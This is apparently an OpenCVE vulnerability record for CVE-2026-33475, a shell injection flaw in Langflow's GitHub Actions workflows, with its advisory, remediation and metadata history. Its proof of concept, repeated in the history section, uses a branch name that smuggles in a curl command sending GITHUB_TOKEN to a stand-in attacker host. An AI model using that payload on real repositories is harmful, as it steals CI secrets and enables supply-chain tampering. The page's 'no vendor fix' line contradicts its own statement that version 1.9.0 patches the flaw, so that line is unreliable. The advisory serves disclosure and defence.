Description
Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability.

---

### Details

Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as:

```yaml
run: |
validate_branch_name "${{ github.event.pull_request.head.ref }}"
```

Or:

```yaml
run: npx playwright install ${{ inputs.browsers }} --with-deps
```

Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection.

---

### PoC

1. **Fork** the Langflow repository
2. **Create a new branch** with the name:
```bash
injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```
3. **Open a Pull Request** to the main branch from the new branch
4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`)
5. The `run:` step containing:
```yaml
echo "Branch: ${{ github.head_ref }}"
```
Will execute:
```bash
echo "Branch: injection-test"
curl https://attacker.site/exfil?token=$GITHUB_TOKEN
```

6. The attacker receives the CI secret via the exfil URL.

---

### Impact

- **Type:** Shell Injection / Remote Code Execution in CI
- **Scope:** Any public Langflow fork with GitHub Actions enabled
- **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data

---

### Suggested Fix

Refactor affected workflows to **use environment variables** and wrap them in **double quotes**:

```yaml
env:
BRANCH_NAME: ${{ github.head_ref }}
run: |
echo "Branch is: \"$BRANCH_NAME\""
```

Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value.

---

### Affected Files (Langflow `1.3.4`)

- `.github/actions/install-playwright/action.yml`
- `.github/workflows/deploy-docs-draft.yml`
- `.github/workflows/docker-build.yml`
- `.github/workflows/release_nightly.yml`
- `.github/workflows/python_test.yml`
- `.github/workflows/typescript_test.yml`
Published: 2026-03-24
Score: 9.1 Critical
EPSS: 3.0% Low
KEV: No
Impact: n/a
Action: n/a
AI Analysis

Impact

Langflow’s GitHub Actions workflows expose a shell injection flaw where unsanitized interpolation of user‑controlled GitHub context variables (such as ${…}) directly into shell run statements allows the execution of arbitrary commands. The vulnerability aligns with CWE‑74 and CWE‑78. An attacker can leverage a crafted branch name or pull request title to inject shell commands that may exfiltrate CI secrets, alter deployment artefacts, or compromise the pipeline.

Affected Systems

The flaw affects all releases of the Langflow open‑source project prior to 1.9.0, specifically multiple workflow and action files including .github/actions/install‑playwright/action.yml, .github/workflows/deploy‑docs‑draft.yml, .github/workflows/docker‑build.yml, .github/workflows/release_nightly.yml, .github/workflows/python_test.yml, and .github/workflows/typescript_test.yml. Forks that preserve these workflows inherit the same vulnerability. The fix is contained in version 1.9.0 and later.

Risk and Exploitability

With a CVSS score of 9.1 and an EPSS of 3%, the vulnerability is considered high risk. Based on the description, it is inferred that an attacker who can push a branch or submit a pull request in a forked repository can trigger the vulnerable workflow without needing special permissions to the original project. Successful exploitation yields remote code execution on the CI runner, enabling secret exfiltration, supply‑chain tampering, or infrastructure modification. The flaw is not listed in CISA’s KEV catalog.

Generated by OpenCVE AI on June 18, 2026 at 09:55 UTC.

Remediation

No vendor fix or workaround currently provided.

OpenCVE Recommended Actions

  • Upgrade the Langflow repository to version 1.9.0 or later to apply the official fix that removes unsanitized interpolation.
  • In any workflow or action that still uses ${…} directly within run steps, replace the interpolation with environment variables and quote the values.
  • Audit all GitHub Actions workflow and action metadata files for user‑controlled variable interpolation before permitting them to run.
  • If the project is not fully audited, restrict or disable GitHub Actions execution on public forks and require workflow approval.
  • Continuously monitor CI logs for unexpected command execution and verify that CI secrets remain confidential.
  • If immediate update is not feasible, temporarily clear or disable CI secrets for public forks to reduce risk until the code can be patched.

Generated by OpenCVE AI on June 18, 2026 at 09:55 UTC.

Tracking

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Advisories

No advisories yet.

History

Tue, 24 Mar 2026 19:15:00 +0000

Type Values Removed Values Added
First Time appeared Langflow
Langflow langflow
CPEs cpe:2.3:a:langflow:langflow:*:*:*:*:*:*:*:*
Vendors & Products Langflow
Langflow langflow

Tue, 24 Mar 2026 14:15:00 +0000

Type Values Removed Values Added
Metrics ssvc

{'options': {'Automatable': 'yes', 'Exploitation': 'poc', 'Technical Impact': 'total'}, 'version': '2.0.3'}

Tue, 24 Mar 2026 13:00:00 +0000

Type Values Removed Values Added
Description Langflow is a tool for building and deploying AI-powered agents and workflows. An unauthenticated remote shell injection vulnerability exists in multiple GitHub Actions workflows in the Langflow repository prior to version 1.9.0. Unsanitized interpolation of GitHub context variables (e.g., `${{ github.head_ref }}`) in `run:` steps allows attackers to inject and execute arbitrary shell commands via a malicious branch name or pull request title. This can lead to secret exfiltration (e.g., `GITHUB_TOKEN`), infrastructure manipulation, or supply chain compromise during CI/CD execution. Version 1.9.0 patches the vulnerability. --- ### Details Several workflows in `.github/workflows/` and `.github/actions/` reference GitHub context variables directly in `run:` shell commands, such as: ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Or: ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Since `github.head_ref`, `github.event.pull_request.title`, and custom `inputs.*` may contain **user-controlled values**, they must be treated as **untrusted input**. Direct interpolation without proper quoting or sanitization leads to shell command injection. --- ### PoC 1. **Fork** the Langflow repository 2. **Create a new branch** with the name: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Open a Pull Request** to the main branch from the new branch 4. GitHub Actions will run the affected workflow (e.g., `deploy-docs-draft.yml`) 5. The `run:` step containing: ```yaml echo "Branch: ${{ github.head_ref }}" ``` Will execute: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. The attacker receives the CI secret via the exfil URL. --- ### Impact - **Type:** Shell Injection / Remote Code Execution in CI - **Scope:** Any public Langflow fork with GitHub Actions enabled - **Impact:** Full access to CI secrets (e.g., `GITHUB_TOKEN`), possibility to push malicious tags or images, tamper with releases, or leak sensitive infrastructure data --- ### Suggested Fix Refactor affected workflows to **use environment variables** and wrap them in **double quotes**: ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Avoid direct `${{ ... }}` interpolation inside `run:` for any user-controlled value. --- ### Affected Files (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Title Langflow GitHub Actions Shell Injection
Weaknesses CWE-74
CWE-78
References
Metrics cvssV3_1

{'score': 9.1, 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N'}

Subscriptions

Langflow Langflow
cve-icon MITRE

Status: PUBLISHED

Assigner: GitHub_M

Published:

Updated: 2026-03-25T03:55:45.997Z

Reserved: 2026-03-20T16:16:48.969Z

Link: CVE-2026-33475

cve-icon Vulnrichment

Updated: 2026-03-24T14:04:12.775Z

cve-icon NVD

Status : Analyzed

Published: 2026-03-24T13:16:04.030

Modified: 2026-06-17T10:37:33.693

Link: CVE-2026-33475

cve-icon Redhat

No data.

cve-icon OpenCVE Enrichment

Updated: 2026-06-18T10:00:16Z

Weaknesses
  • CWE-74

    Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

  • CWE-78

    Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')